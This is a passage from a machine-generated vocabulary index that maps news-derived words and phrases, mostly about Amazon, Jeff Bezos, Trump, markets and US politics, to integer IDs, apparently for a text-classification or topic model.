"surveilled": 57731, "disney versus": 57732, "moc": 57733, "category called": 57734, "trade notes": 57735, "robert shapiro": 57736, "igp senate": 57737, "hagen": 57738, "tennessee wants": 57739, "says muir": 57740, "navy seals": 57741, "security director": 57742, "calif unveiled": 57743, "letter says": 57744, "amazon appetite": 57745, "extortion plot": 57746, "support mccarthy": 57747, "mean reversion": 57748, "displaced nearly": 57749, "additional copies": 57750, "personal smartphone": 57751, "legislation threatens": 57752, "tank": 57753, "care initiative": 57754, "dire projections": 57755, "sentence statement": 57756, "healthcare payment": 57757, "multiple verticals": 57758, "advised american": 57759, "strategy credit": 57760, "s3": 57761, "americans lives": 57762, "reasonable people": 57763, "oomph": 57764, "bezos considered": 57765, "card details": 57766, "aut_atyid aut_newsletter_location": 57767, "don act": 57768, "reservation": 57769, "says despite": 57770, "constitution schiff": 57771, "gives amazon": 57772, "high levels": 57773, "buried alive": 57774, "brazilian environment": 57775, "participate": 57776, "maitland": 57777, "hdr words": 57778, "treat embedded": 57779, "sportswriter": 57780, "just paintingturmoil": 57781, "bezos foe": 57782, "aligned": 57783, "local taxpayer": 57784, "people close": 57785, "formally accused": 57786, "fed manufacturing": 57787, "package appears": 57788, "east doomed": 57789, "accountability examining": 57790, "manager shares": 57791, "online platforms": 57792, "different function": 57793, "wireless carriers": 57794, "ignite seattle": 57795, "know nasdaq": 57796, "saturation": 57797, "severe punishment": 57798, "msnbc executives": 57799, "hat": 57800, "bought online": 57801, "repeating amazon": 57802, "onetime site": 57803, "airlines": 57804, "mini fridge": 57805, "industries association": 57806, "luxury condos": 57807, "chevron chairman": 57808, "tapped losses": 57809, "continuous conversations": 57810, "total orders": 57811, "personal vendettas": 57812, "jane hamlin": 57813, "courses related": 57814, "amassed unparalleled": 57815, "accessories build": 57816, "volume decreased": 57817, "america pay": 57818, "564 000": 57819, "growing demand": 57820, "danny zuker": 57821, "publicly adamant": 57822, "democratic pollster": 57823, "digit figure": 57824, "trillion albeit": 57825, "community mobilization": 57826, "commission post": 57827, "list ustr": 57828, "proposal according": 57829, "democracy sake": 57830, "hydrogen": 57831, "routes": 57832, "goods unless": 57833, "trillion global": 57834, "stopthebias showing": 57835, "manufacturing base": 57836, "rally wh": 57837, "debut atypical": 57838, "pillpack terms": 57839, "334 shares": 57840, "york describing": 57841, "content president": 57842, "worthy figure": 57843, "cnn kaitlan": 57844, "trump surprise": 57845, "unprecedented power": 57846, "treat": 57847, "receive 2018": 57848, "1230et": 57849, "software firms": 57850, "viverito": 57851, "story doj": 57852, "replacing obamacare": 57853, "absent": 57854, "192 nations": 57855, "strathdee": 57856, "macchio": 57857, "creative force": 57858, "overall wage": 57859, "ashamed": 57860, "coincide": 57861, "cnn sad": 57862, "videotape herera": 57863, "amazon matter": 57864, "x2x a4ee": 57865, "chien": 57866, "embracing exactly": 57867, "times slamming": 57868, "35k month": 57869, "reportedly taken": 57870, "storm brings": 57871, "point did": 57872, "dividing": 57873, "movement mark": 57874, "collaboration existed": 57875, "ranch according": 57876, "returning shows": 57877, "hours following": 57878, "mueller scope": 57879, "legal advantages": 57880, "wrote ami": 57881, "juana summers": 57882, "judiciary president": 57883, "engineer investigated": 57884, "days navarro": 57885, "want sanctuary": 57886, "rabobank senior": 57887, "enable pre": 57888, "police failed": 57889, "4dg3xiy6": 57890, "moguls largest": 57891, "record quarterly": 57892, "group designations": 57893, "gosar": 57894, "huge presence": 57895, "commission meeting": 57896, "retail future": 57897, "3x": 57898, "fear threats": 57899, "trump pro": 57900, "soon sarah": 57901, "killed lions": 57902, "mailed results": 57903, "bezos attend": 57904, "nyse peg": 57905, "william riggs": 57906, "business personally": 57907, "broad": 57908, "feds evans": 57909, "america politics": 57910, "real issues": 57911, "dilation": 57912, "endeavor powerful": 57913, "public eye": 57914, "footfall": 57915, "converted": 57916, "faced antitrust": 57917, "bochner cmbochner": 57918, "disseminating intimate": 57919, "price earnings": 57920, "subcontractors cis": 57921, "kindel senior": 57922, "bezos expicit": 57923, "following trump": 57924, "eu canada": 57925, "foreign operations": 57926, "stunning success": 57927, "reuters article": 57928, "record month": 57929, "approving sinclair": 57930, "trump shuttle": 57931, "sailboats bobbed": 57932, "just chased": 57933, "christine haughney": 57934, "environmentally": 57935, "app appeared": 57936, "blue jacket": 57937, "pharmacy retailers": 57938, "director sues": 57939, "just erupted": 57940, "pandora box": 57941, "financial compensation": 57942, "coming": 57943, "chagrined": 57944, "hard right": 57945, "separately owns": 57946, "snuffing": 57947, "account cbc": 57948, "territory tax": 57949, "fight fake": 57950, "majority party": 57951, "trouble parking": 57952, "belastingaangifte 2018": 57953, "deal chris": 57954, "support homeless": 57955, "2018 trial": 57956, "450 families": 57957, "published massive": 57958, "survivor wife": 57959, "radically reduced": 57960, "skit took": 57961, "2022 key": 57962, "main sources": 57963, "undocublack": 57964, "service report": 57965, "commerce policy": 57966, "progressive tax": 57967, "smialowski afp": 57968, "crooked hillary": 57969, "technologies raises": 57970, "hear woman": 57971, "taxi strike": 57972, "conf": 57973, "professor ford": 57974, "gain exclusive": 57975, "need new": 57976, "emails uncovered": 57977, "halliburton eli": 57978, "furious": 57979, "divorce statement": 57980, "talks abruptly": 57981, "content guidelines": 57982, "term view": 57983, "negotiating power": 57984, "salman wsj": 57985, "stock indices": 57986, "naval uniform": 57987, "mae mother": 57988, "2018 cnn": 57989, "discussion uss": 57990, "131 z8": 57991, "unsubstantiated research": 57992, "washington bridge": 57993, "immediately comment": 57994, "shorter delivered": 57995, "sharing": 57996, "rural post": 57997, "apple microsoft": 57998, "newest guidelines": 57999, "wins dod": 58000, "dryers": 58001, "peers respect": 58002, "area": 58003, "antitrust lawyer": 58004, "big reduction": 58005, "new relevance": 58006, "millennial consumer": 58007, "420 000": 58008, "enable britain": 58009, "mnuchin led": 58010, "advertising trends": 58011, "marketing angle": 58012, "leaves delivery": 58013, "valid criticisms": 58014, "dodges": 58015, "sim\u00f5es sao": 58016, "posted job": 58017, "walmart did": 58018, "wouldn publish": 58019, "biggest competitor": 58020, "problem ford": 58021, "regional council": 58022, "lineup real": 58023, "anticompetitive fashion": 58024, "breather": 58025, "cap wrote": 58026, "commodities": 58027, "king correspondent": 58028, "brexit chaos": 58029, "elizabeth heiskell": 58030, "80m shares": 58031, "doesn incentivize": 58032, "amazon isn": 58033, "macro strategist": 58034, "attorney bryan": 58035, "health kristen": 58036, "york democrat": 58037, "source speaking": 58038, "options according": 58039, "read ellison": 58040, "dow member": 58041, "shell organization": 58042, "trump clinches": 58043, "goodlatte told": 58044, "cuomo idc": 58045, "old played": 58046, "offering employees": 58047, "creating copycat": 58048, "spoken aloud": 58049, "added republicans": 58050, "enforcers": 58051, "managed etf": 58052, "ideologically motivated": 58053, "information access": 58054, "reuters aly": 58055, "years kroger": 58056, "holds barred": 58057, "authority ncyha": 58058, "states took": 58059, "margin guidance": 58060, "bank zion": 58061, "b5q b8": 58062, "additionally told": 58063, "bolsonaro time": 58064, "fq2": 58065, "library book": 58066, "precious simon": 58067, "second volume": 58068, "date service": 58069, "economy big": 58070, "device reportedly": 58071, "bbq master": 58072, "lawsuit tl": 58073, "celeb divorce": 58074, "msnbc cnn": 58075, "cold wikileaks": 58076, "leaving office": 58077, "agency ramped": 58078, "rnc": 58079, "mobile kitchen": 58080, "owned industries": 58081, "corp writes": 58082, "challenging market": 58083, "ponder": 58084, "amazon aired": 58085, "work ethic": 58086, "pratt celebrated": 58087, "everytown momsdemand": 58088, "significant usps": 58089, "old jeremy": 58090, "showrunner": 58091, "annual film": 58092, "host waylaid": 58093, "seemingly small": 58094, "cafaro philippe": 58095, "movie story": 58096, "plan cuomo": 58097, "51s2p totalshtrump": 58098, "dying lawmakers": 58099, "area council": 58100, "uu goods": 58101, "vowed": 58102, "t000023122": 58103, "eccleston": 58104, "relations firm": 58105, "class center": 58106, "expressed dissatisfaction": 58107, "used peek": 58108, "publishes hard": 58109, "member venezuela": 58110, "android hosts": 58111, "culture rotten": 58112, "6zac41n2qru read": 58113, "supporter civil": 58114, "heavily invested": 58115, "2019 manuel": 58116, "francis": 58117, "bookerly": 58118, "idg2osapfp": 58119, "prime attractive": 58120, "second oversight": 58121, "men khakis": 58122, "sharp difference": 58123, "discriminatory": 58124, "nbc nightly": 58125, "grounded": 58126, "benevolent": 58127, "elegant": 58128, "weighting": 58129, "extraordinary partner": 58130, "paul weiss": 58131, "default_default": 58132, "wyoming governors": 58133, "accept responsibility": 58134, "reparations fund": 58135, "enters harbouring": 58136, "predatory lender": 58137, "horrendous billion": 58138, "spokesman pointed": 58139, "primary work": 58140, "administration rolling": 58141, "hang toddler": 58142, "schools kids": 58143, "word monopoly": 58144, "analyst cheers": 58145, "expect new": 58146, "company methods": 58147, "tumultuous time": 58148, "albeit": 58149, "watch lottery": 58150, "intruder jailed": 58151, "triple current": 58152, "sciences closes": 58153, "companies hefty": 58154, "additional border": 58155, "ons": 58156, "mccabe senate": 58157, "wield partisan": 58158, "mish mash": 58159, "profoundly": 58160, "longer taken": 58161, "services llc": 58162, "stones abducted": 58163, "cutting strategies": 58164, "shmuley": 58165, "headlined pentagon": 58166, "1997 alice": 58167, "mere book": 58168, "attacked america": 58169, "gas stations": 58170, "plant activators": 58171, "companies allowed": 58172, "position giving": 58173, "danish abelskiver": 58174, "explainer video": 58175, "high crosstalk": 58176, "fedex capabilities": 58177, "chose rep": 58178, "trade wine": 58179, "assets 181001125327": 58180, "sexual blackmail": 58181, "interview comments": 58182, "high windows": 58183, "aerospace angle": 58184, "gobble": 58185, "volcker": 58186, "sean jeff": 58187, "practically trump": 58188, "york getting": 58189, "bigger paycheck": 58190, "welles rbg": 58191, "brief delay": 58192, "fighting development": 58193, "operationsnear": 58194, "average job": 58195, "carefully slowly": 58196, "feature": 58197, "starbucks ceo": 58198, "mario cuomo": 58199, "day social": 58200, "skynews": 58201, "heeds": 58202, "recession": 58203, "washington state": 58204, "2018 sun": 58205, "welfare benefits": 58206, "states microsoft": 58207, "heavier thanks": 58208, "taunted": 58209, "sidelines": 58210, "notorious la": 58211, "guard recruit": 58212, "faced specific": 58213, "lynched": 58214, "story time": 58215, "americans think": 58216, "enquirer blackmail": 58217, "queens representing": 58218, "widely debunked": 58219, "make inaccurate": 58220, "van heuvelen": 58221, "usual right": 58222, "matters grew": 58223, "enthused": 58224, "child outlining": 58225, "hippie furniture": 58226, "campaign trail": 58227, "trading lc": 58228, "history dividing": 58229, "work deporting": 58230, "users agree": 58231, "cub afghanistan": 58232, "hosts posted": 58233, "information private": 58234, "boys rehab": 58235, "competition great": 58236, "hoge": 58237, "mortgage payment": 58238, "packages suspected": 58239, "senorrinhatch": 58240, "protestors storm": 58241, "aardvark hot": 58242, "regulations including": 58243, "refuse medical": 58244, "relationships including": 58245, "largest homes": 58246, "deep faith": 58247, "var containercontents": 58248, "follows apple": 58249, "deadspin": 58250, "known associate": 58251, "latest experimental": 58252, "interrogations": 58253, "intelligence committee": 58254, "subtly hinted": 58255, "reveals": 58256, "george zimmerman": 58257, "ngan afp": 58258, "energy successful": 58259, "microsoft maria": 58260, "different time": 58261, "uber crony": 58262, "cvp": 58263, "house charge": 58264, "tome": 58265, "j\u00f6rg carstensen": 58266, "speciously": 58267, "undisciplined entitlement": 58268, "trump lover": 58269, "free educationfrom": 58270, "emerges": 58271, "collect children": 58272, "growing outrage": 58273, "sold loss": 58274, "direct effort": 58275, "public reputation": 58276, "measures promulgated": 58277, "atlantic regional": 58278, "abuse amazons": 58279, "makes spy": 58280, "used group": 58281, "guessing game": 58282, "requires foreign": 58283, "gambling": 58284, "simple things": 58285, "500 spx": 58286, "deforestation advanced": 58287, "amazon signed": 58288, "play videoid": 58289, "long resisted": 58290, "processing strategies": 58291, "2015 big": 58292, "load online": 58293, "start questioning": 58294, "soon introduce": 58295, "congolese say": 58296, "describing rekognition": 58297, "states excluding": 58298, "sweet home": 58299, "memorywell news": 58300, "toga": 58301, "told big": 58302, "analyst warned": 58303, "demanding review": 58304, "manzoor": 58305, "proposed amendments": 58306, "extra workers": 58307, "time personal": 58308, "better job": 58309, "purdue pharmaceuticals": 58310, "logic does": 58311, "giant generated": 58312, "feminist views": 58313, "australian associated": 58314, "getty rick": 58315, "herbert hovenkamp": 58316, "ultimate trump": 58317, "2020 steve": 58318, "space moves": 58319, "eastthe trip": 58320, "rushing rushing": 58321, "voting site": 58322, "c5q switch": 58323, "adalynn": 58324, "cash grants": 58325, "shorts wear": 58326, "hunt president": 58327, "cases 2018": 58328, "winemakers": 58329, "anti skid": 58330, "fun ride": 58331, "wants small": 58332, "vt leading": 58333, "france presse": 58334, "lindsay": 58335, "stanley earnings": 58336, "life arts": 58337, "bancorp": 58338, "speculating": 58339, "poor pay": 58340, "morning newsletter": 58341, "calendar kind": 58342, "jumping right": 58343, "reported follow": 58344, "profits sheltered": 58345, "agencies despite": 58346, "huge player": 58347, "amazon model": 58348, "centric restructuring": 58349, "immediately cease": 58350, "god kings": 58351, "post owning": 58352, "adobe chances": 58353, "executefeature videx": 58354, "shopping tips": 58355, "smash": 58356, "energy green": 58357, "vocational education": 58358, "humanitarian crisis": 58359, "kindle store": 58360, "stubby ratcheting": 58361, "seemingly self": 58362, "hours worked": 58363, "possible administration": 58364, "quite\u0430an": 58365, "voting power": 58366, "bored": 58367, "utilize amazon": 58368, "wilson mark": 58369, "roiled": 58370, "code 527": 58371, "passed away": 58372, "mass psychology": 58373, "join isis": 58374, "vote counts": 58375, "hello kitty": 58376, "chinnappa file": 58377, "tech community": 58378, "recode_logomark recode": 58379, "2018 shame": 58380, "rossignol": 58381, "treats": 58382, "store employees": 58383, "chasing": 58384, "largest fortune": 58385, "zell": 58386, "previously recused": 58387, "program available": 58388, "citizens pocketbooks": 58389, "facebook tweet": 58390, "lukas": 58391, "spokesman craig": 58392, "usps revenues": 58393, "amazons bezos": 58394, "actor pulled": 58395, "think big": 58396, "key difference": 58397, "investigatory": 58398, "survivors seek": 58399, "profit healthcare": 58400, "subscriber forecasts": 58401, "1947 wawx": 58402, "undercut paypal": 58403, "speculators": 58404, "bottled water": 58405, "abortion enabled": 58406, "time soon": 58407, "picture taken": 58408, "reasons stamps": 58409, "follow newsy": 58410, "familiar domestic": 58411, "folks cited": 58412, "perished": 58413, "john saying": 58414, "explores speed": 58415, "pete murphy": 58416, "resist rising": 58417, "auction rolling": 58418, "banking hong": 58419, "balms": 58420, "billion politifact": 58421, "rescue published": 58422, "diminishing returns": 58423, "companies provide": 58424, "michael liedtke": 58425, "shopper perk": 58426, "nov 2004": 58427, "darn tootin": 58428, "100 amazon": 58429, "holders dream": 58430, "peaceful": 58431, "reliable politics": 58432, "unlawfully withheld": 58433, "actress lucia": 58434, "additional letter": 58435, "ayers": 58436, "freedom partners": 58437, "access rules": 58438, "thinly spread": 58439, "appeal amazon": 58440, "digital subscribers": 58441, "720": 58442, "savings plans": 58443, "story police": 58444, "summarizes trump": 58445, "linton tell": 58446, "zuker danny": 58447, "policy push": 58448, "583m": 58449, "just reported": 58450, "negative territory": 58451, "hari kondabolu": 58452, "new florida": 58453, "sided deals": 58454, "environment vanity": 58455, "latest analyst": 58456, "tube included": 58457, "assistant device": 58458, "sold 214": 58459, "consumer awareness": 58460, "recommendations coalition": 58461, "second steve": 58462, "build larger": 58463, "tagay amazon": 58464, "2015et copyright": 58465, "military ai": 58466, "earnings prime": 58467, "imagine lionel": 58468, "wieser 920": 58469, "improve patient": 58470, "concerned don": 58471, "twitter kind": 58472, "balqa": 58473, "body parts": 58474, "investors fret": 58475, "instead asking": 58476, "trump sought": 58477, "contracts cover": 58478, "awaited": 58479, "messaging big": 58480, "emilyelarsen": 58481, "appointed environment": 58482, "volumes including": 58483, "factory foto": 58484, "sec cantillon": 58485, "network mukesh": 58486, "new field": 58487, "sales volume": 58488, "annual allen": 58489, "amazon managed": 58490, "turn china": 58491, "boss happy": 58492, "campaign frequently": 58493, "8am": 58494, "pull huckleberry": 58495, "pacifica qualify": 58496, "ballet classes": 58497, "new minority": 58498, "laid": 58499, "repeated calls": 58500, "cultures adapted": 58501, "outstanding contributions": 58502, "deal mentioned": 58503, "sarsgaard": 58504, "amazon regions": 58505, "5ehequal77": 58506, "time kosinski": 58507, "single subway": 58508, "week publisher": 58509, "just reap": 58510, "says quote": 58511, "l6": 58512, "says hell": 58513, "443": 58514, "resident opposing": 58515, "fbi amazon": 58516, "strikes blow": 58517, "blatantly gerrymandered": 58518, "hides": 58519, "alum": 58520, "supported john": 58521, "planning process": 58522, "faster deliveries": 58523, "murray remarks": 58524, "changed day": 58525, "story anti": 58526, "time oscar": 58527, "recognised": 58528, "walmart nextday": 58529, "unbridled": 58530, "historic nonfiction": 58531, "lf lf2": 58532, "idg communications": 58533, "emboldening": 58534, "longterm obsession": 58535, "rep hakeem": 58536, "zone vintage": 58537, "quarles": 58538, "based internet": 58539, "known friendship": 58540, "desperate man": 58541, "downside big": 58542, "sharp": 58543, "hyperbole": 58544, "south indian": 58545, "responsible today": 58546, "scarbro": 58547, "hostile rhetoric": 58548, "bad employers": 58549, "just trying": 58550, "smackdown television": 58551, "glimmer": 58552, "students new": 58553, "photos alyssa": 58554, "j0 defineproperties": 58555, "gutting malls": 58556, "stone carter": 58557, "including ibm": 58558, "told new": 58559, "replied yes": 58560, "taker": 58561, "kris": 58562, "real human": 58563, "jose": 58564, "initially rallied": 58565, "trip gop": 58566, "drc president": 58567, "avenue begins": 58568, "captivated": 58569, "fight amazon": 58570, "easy narrowing": 58571, "2009 reuters": 58572, "shows guess": 58573, "exploiting": 58574, "people polled": 58575, "personally attempted": 58576, "longstanding issues": 58577, "bradcast": 58578, "length": 58579, "trump boycott": 58580, "jeannie mai": 58581, "limits noah": 58582, "special incentives": 58583, "consecutive session": 58584, "market stocks": 58585, "customers away": 58586, "representatives maybe": 58587, "oversharing": 58588, "million federal": 58589, "assembly": 58590, "fatal heart": 58591, "campuses safe": 58592, "product line": 58593, "44m": 58594, "years manufacturers": 58595, "retaliating equally": 58596, "reince priebus": 58597, "a4ee return": 58598, "precise specification": 58599, "sailor shown": 58600, "dod revealed": 58601, "beating views": 58602, "craving": 58603, "purpose according": 58604, "independent estimate": 58605, "year pharmacy": 58606, "chinas yuan": 58607, "george hornedo": 58608, "pulling": 58609, "bureau director": 58610, "pointedly questioned": 58611, "enter correction": 58612, "work incentives": 58613, "veniste": 58614, "tuesdaybecame": 58615, "omx": 58616, "america satisfaction": 58617, "dresser": 58618, "denounce administrative": 58619, "nbc london": 58620, "place washington": 58621, "makes positive": 58622, "gentle songman": 58623, "shakespearean actor": 58624, "slightly uncomfy": 58625, "jeff greenfield": 58626, "teaches": 58627, "young democratic": 58628, "numerous background": 58629, "comment settings": 58630, "outside washington": 58631, "report print": 58632, "orman puts": 58633, "hanya": 58634, "rightly": 58635, "amazon shareholders": 58636, "miller amazon": 58637, "brexit european": 58638, "day job": 58639, "including planned": 58640, "ensuing": 58641, "company continues": 58642, "president favorite": 58643, "typically remain": 58644, "election simulation": 58645, "mdma": 58646, "disappears best": 58647, "completely barmy": 58648, "tangible personal": 58649, "enterprise court": 58650, "importantly companies": 58651, "corporate project": 58652, "helped low": 58653, "military needs": 58654, "1026et": 58655, "released florida": 58656, "girard": 58657, "jack bogle": 58658, "shirtless": 58659, "perceives": 58660, "staunchest allies": 58661, "trump states": 58662, "recession warning": 58663, "trauma patients": 58664, "flood washed": 58665, "receive response": 58666, "towns losing": 58667, "pong": 58668, "32bj seiu": 58669, "devos sued": 58670, "2019_10": 58671, "dudamel": 58672, "user friendly": 58673, "wilmington trust": 58674, "government entity": 58675, "d6": 58676, "study amazon": 58677, "cronyism journey": 58678, "people run": 58679, "nightmare scenario": 58680, "networking gear": 58681, "company generates": 58682, "alimony payments": 58683, "wore contrasting": 58684, "data lazyauto": 58685, "hustled": 58686, "action news": 58687, "golan heights": 58688, "possible trump": 58689, "perfection": 58690, "wyunhjjujg donald": 58691, "annual benefit": 58692, "blackmailing jeff": 58693, "behalf outline": 58694, "amazon withdrawal": 58695, "citizen concerns": 58696, "related mark": 58697, "customers pretty": 58698, "sept piece": 58699, "biggest say": 58700, "current survey": 58701, "period different": 58702, "reporting pot": 58703, "elected": 58704, "depress": 58705, "political disaster": 58706, "label brands": 58707, "98point6 service": 58708, "want fast": 58709, "tremendously positive": 58710, "weibo": 58711, "america free": 58712, "judge earlier": 58713, "hour according": 58714, "software rocketed": 58715, "unprecedented competition": 58716, "policy amazon_policy": 58717, "republican challenger": 58718, "fourth": 58719, "censorship cnn": 58720, "figures liesman": 58721, "organization hotel": 58722, "tech platforms": 58723, "time workers": 58724, "pirro pirro": 58725, "workforce demographics": 58726, "development subsidies": 58727, "story ideals": 58728, "private moments": 58729, "objects": 58730, "undercount bomb": 58731, "c8 c2x": 58732, "threatening amid": 58733, "constitute winning": 58734, "provide appropriate": 58735, "levine": 58736, "opened formal": 58737, "profile photo": 58738, "exceptional work": 58739, "2018 glancy": 58740, "new conquistador": 58741, "southern rebellion": 58742, "doesn promote": 58743, "fake commercial": 58744, "city project": 58745, "portrait": 58746, "superficiality": 58747, "tough investment": 58748, "costs money": 58749, "new economy": 58750, "respective spouses": 58751, "posted notice": 58752, "delivery indefinite": 58753, "downright": 58754, "equally effective": 58755, "hannity": 58756, "strategic plan": 58757, "afternoon": 58758, "force influenced": 58759, "trailer starring": 58760, "cities realized": 58761, "frum thinks": 58762, "unauthorized fake": 58763, "buddy rizer": 58764, "2014elections": 58765, "biggest winners": 58766, "gove": 58767, "leading futures": 58768, "willimon": 58769, "source kiwiblog": 58770, "apologists": 58771, "paid distribution": 58772, "bipartisan bills": 58773, "lower productivity": 58774, "josh rhoten": 58775, "ofthe power": 58776, "markets make": 58777, "stores yes": 58778, "remarks tweeted": 58779, "vanguard index": 58780, "making comeback": 58781, "tweets just": 58782, "senate look": 58783, "walk away": 58784, "total bs": 58785, "probably remain": 58786, "tweeted mackenzie": 58787, "kudlow calling": 58788, "growing led": 58789, "holdings 184": 58790, "actually buy": 58791, "look forward": 58792, "invading": 58793, "trump right": 58794, "legit sellers": 58795, "possible antidote": 58796, "channels people": 58797, "globe mail": 58798, "growth momentum": 58799, "builds secret": 58800, "sanchez source": 58801, "platform arguing": 58802, "parmesan": 58803, "reference history": 58804, "share close": 58805, "53bil": 58806, "receive payments": 58807, "hsun huang": 58808, "strategic partnership": 58809, "improvement app": 58810, "good returns": 58811, "bezos plays": 58812, "murdoch earlier": 58813, "humiliate": 58814, "customers including": 58815, "values": 58816, "old westmoreland": 58817, "great suppliers": 58818, "adding sales": 58819, "breaking protestors": 58820, "dorm": 58821, "talented": 58822, "ago described": 58823, "bale": 58824, "better structure": 58825, "foundation capital": 58826, "amazon outsources": 58827, "scandals especially": 58828, "breach kickers": 58829, "weak borders": 58830, "repeatedly warned": 58831, "insightful political": 58832, "creating prestige": 58833, "ad revenue": 58834, "bender retrospective": 58835, "industry deals": 58836, "man parachuting": 58837, "actually lose": 58838, "nafta deal": 58839, "romney": 58840, "continued hopefully": 58841, "numerous pithy": 58842, "government figures": 58843, "told abc": 58844, "funding president": 58845, "indicated new": 58846, "massive loss": 58847, "unfair business": 58848, "siri daly": 58849, "course signed": 58850, "reid_secondo": 58851, "harshest criticism": 58852, "pursue logistics": 58853, "management relying": 58854, "earning potential": 58855, "public mouthpiece": 58856, "threat newsom": 58857, "suspected threat": 58858, "law reforms": 58859, "warfighter given": 58860, "stories shared": 58861, "resilient americans": 58862, "mattis regulatory": 58863, "remain legal": 58864, "brushes aside": 58865, "bezos essentially": 58866, "opposition legislation": 58867, "size": 58868, "estate speculation": 58869, "aldisert llp": 58870, "story set": 58871, "thinks brazil": 58872, "economic incentives": 58873, "ray walton": 58874, "tweet implying": 58875, "shares previously": 58876, "time alexa": 58877, "schwietzer explained": 58878, "michael useem": 58879, "facebook resignations": 58880, "grueling conditions": 58881, "financial grp": 58882, "news cnn": 58883, "ensure greater": 58884, "hey hr": 58885, "gaps reduces": 58886, "won trigger": 58887, "packaging": 58888, "constitution requires": 58889, "valuable data": 58890, "aclu claims": 58891, "condemn fifa": 58892, "ortagus": 58893, "lurid sexual": 58894, "burning crosses": 58895, "time loss": 58896, "restricting sales": 58897, "google plans": 58898, "tax payments": 58899, "musical": 58900, "just wildly": 58901, "effect helped": 58902, "peter cited": 58903, "hasn followed": 58904, "removed conservative": 58905, "manufacturers signaled": 58906, "prematurely think": 58907, "laundry": 58908, "quite honest": 58909, "told nbc": 58910, "charter carriers": 58911, "infrastructure computing": 58912, "paid taxes": 58913, "morningstar hottovy": 58914, "buddy pair": 58915, "misuse scandal": 58916, "forward daily": 58917, "cowards": 58918, "breaks amazon": 58919, "holiness": 58920, "telecommunications industries": 58921, "kooky": 58922, "tribune review": 58923, "manager presidential": 58924, "democracy bezos": 58925, "emergency john": 58926, "naming members": 58927, "shaub cited": 58928, "arnold 2018": 58929, "source knows": 58930, "foods workers": 58931, "lower quality": 58932, "exciting increase": 58933, "donna": 58934, "head writer": 58935, "uber washington": 58936, "smartsheet richard": 58937, "service proposed": 58938, "client base": 58939, "johnson zinke": 58940, "half hours": 58941, "denver colorado": 58942, "peltz": 58943, "peacemaker": 58944, "recognition wrongly": 58945, "smollett lawsuit": 58946, "distribution platform": 58947, "letter mail": 58948, "retaliate": 58949, "negotiators reach": 58950, "urine": 58951, "notes": 58952, "giant says": 58953, "wateraid international": 58954, "california adopts": 58955, "usual 100": 58956, "trump deployed": 58957, "avoid laying": 58958, "useful links": 58959, "midterm": 58960, "enhance profits": 58961, "centers don": 58962, "ghost": 58963, "substantive": 58964, "high chance": 58965, "defended": 58966, "father fox": 58967, "total strangers": 58968, "received criticism": 58969, "amazon advantage": 58970, "stock edged": 58971, "online bank": 58972, "divorce says": 58973, "amazon chrysler": 58974, "beaumont society": 58975, "obligation mandate": 58976, "strengths": 58977, "regulator american": 58978, "villain accused": 58979, "antivirus": 58980, "integrity broward": 58981, "web browser": 58982, "capital economics": 58983, "company share": 58984, "author": 58985, "explicit right": 58986, "unearned rents": 58987, "amazon river": 58988, "williams": 58989, "correctly supported": 58990, "perpetual license": 58991, "gov affairs": 58992, "later news": 58993, "distribute medications": 58994, "trillion threshold": 58995, "particulars points": 58996, "waze companies": 58997, "stories suggesting": 58998, "afloat": 58999, "profile forbes": 59000, "business photographer": 59001, "selling shoes": 59002, "afghan families": 59003, "strong economy": 59004, "allowed amazon": 59005, "different benches": 59006, "sorkin suggested": 59007, "rights owners": 59008, "states diminished": 59009, "intact think": 59010, "real billionaire": 59011, "dad paul": 59012, "powerful amazon": 59013, "cancels nyc": 59014, "aca gawande": 59015, "gas minerals": 59016, "soon return": 59017, "different advantages": 59018, "today continues": 59019, "ex yankees": 59020, "9bcneifwej matthew": 59021, "defense contracts": 59022, "electronic banking": 59023, "term govpredict": 59024, "commandatore": 59025, "michael burch": 59026, "yext": 59027, "boston 201923": 59028, "excess cables": 59029, "appealed ruling": 59030, "testimony 300": 59031, "david washington": 59032, "ensure songwriters": 59033, "security commerce": 59034, "story heading": 59035, "new work": 59036, "minute impulse": 59037, "filings including": 59038, "arquette": 59039, "favors political": 59040, "benefits amazon": 59041, "doing corporate": 59042, "month mackenzie": 59043, "previewing": 59044, "allegedly costing": 59045, "led organizations": 59046, "giving mueller": 59047, "dollar incentives": 59048, "investment bezos": 59049, "things allowing": 59050, "uses fake": 59051, "tax backstop": 59052, "cheerful rhetoric": 59053, "distaso": 59054, "amit sadh": 59055, "z8 function": 59056, "folksy charm": 59057, "rich approach": 59058, "1830s barbados": 59059, "businesses launchpad": 59060, "bodied": 59061, "militias expand": 59062, "web services": 59063, "packages inside": 59064, "mustreadarticles articles": 59065, "major running": 59066, "racist statements": 59067, "modern equivalent": 59068, "iconic women": 59069, "border business": 59070, "whack": 59071, "gerety decent": 59072, "brutal exploitation": 59073, "apriem advsrs": 59074, "tabloid regular": 59075, "including initiating": 59076, "186 billion": 59077, "shops online": 59078, "quarter think": 59079, "sachs president": 59080, "assets related": 59081, "2015 survey": 59082, "country second": 59083, "series appearances": 59084, "new proposal": 59085, "warrant government": 59086, "point converting": 59087, "modify viruses": 59088, "revoking india": 59089, "economist thomas": 59090, "dingell virigina": 59091, "squabble": 59092, "cost accounting": 59093, "billy bass": 59094, "strike decidedly": 59095, "symc confirmed": 59096, "time open": 59097, "million cash": 59098, "jetsons herera": 59099, "favelas": 59100, "extended excerpts": 59101, "cites internal": 59102, "wfc earnings": 59103, "juggernaut source": 59104, "kovacic says": 59105, "pres donald": 59106, "early copy": 59107, "locals renters": 59108, "weak iphone": 59109, "evening man": 59110, "india headcount": 59111, "nets": 59112, "occurs naturally": 59113, "remember 2018": 59114, "nuptial": 59115, "sue trump": 59116, "platform bezos": 59117, "quarterly low": 59118, "community conclusion": 59119, "bay mark": 59120, "photos golden": 59121, "000 americans": 59122, "restrictive": 59123, "slowdown global": 59124, "divorce north": 59125, "trigger happy": 59126, "nixon presidential": 59127, "lobbyist washington": 59128, "structure turns": 59129, "ron ronaldhart": 59130, "talents": 59131, "sanchez abramowitz": 59132, "blames players": 59133, "provided superior": 59134, "similar blackmail": 59135, "house ny": 59136, "fy18": 59137, "antitrust claim": 59138, "internal information": 59139, "richardson argues": 59140, "spokesman says": 59141, "previous microsoft": 59142, "concerns ab": 59143, "searchable": 59144, "house amid": 59145, "fedex territory": 59146, "new terminal": 59147, "hader": 59148, "blunted": 59149, "video kids": 59150, "status 1062136011159994368": 59151, "titan extramarital": 59152, "continues bombing": 59153, "10bn": 59154, "stuart amazon": 59155, "slow amazon": 59156, "paid workers": 59157, "neglected": 59158, "political messages": 59159, "instant gratification": 59160, "value dropped": 59161, "schemer": 59162, "watch nbc": 59163, "dictated": 59164, "profoundly ironic": 59165, "work long": 59166, 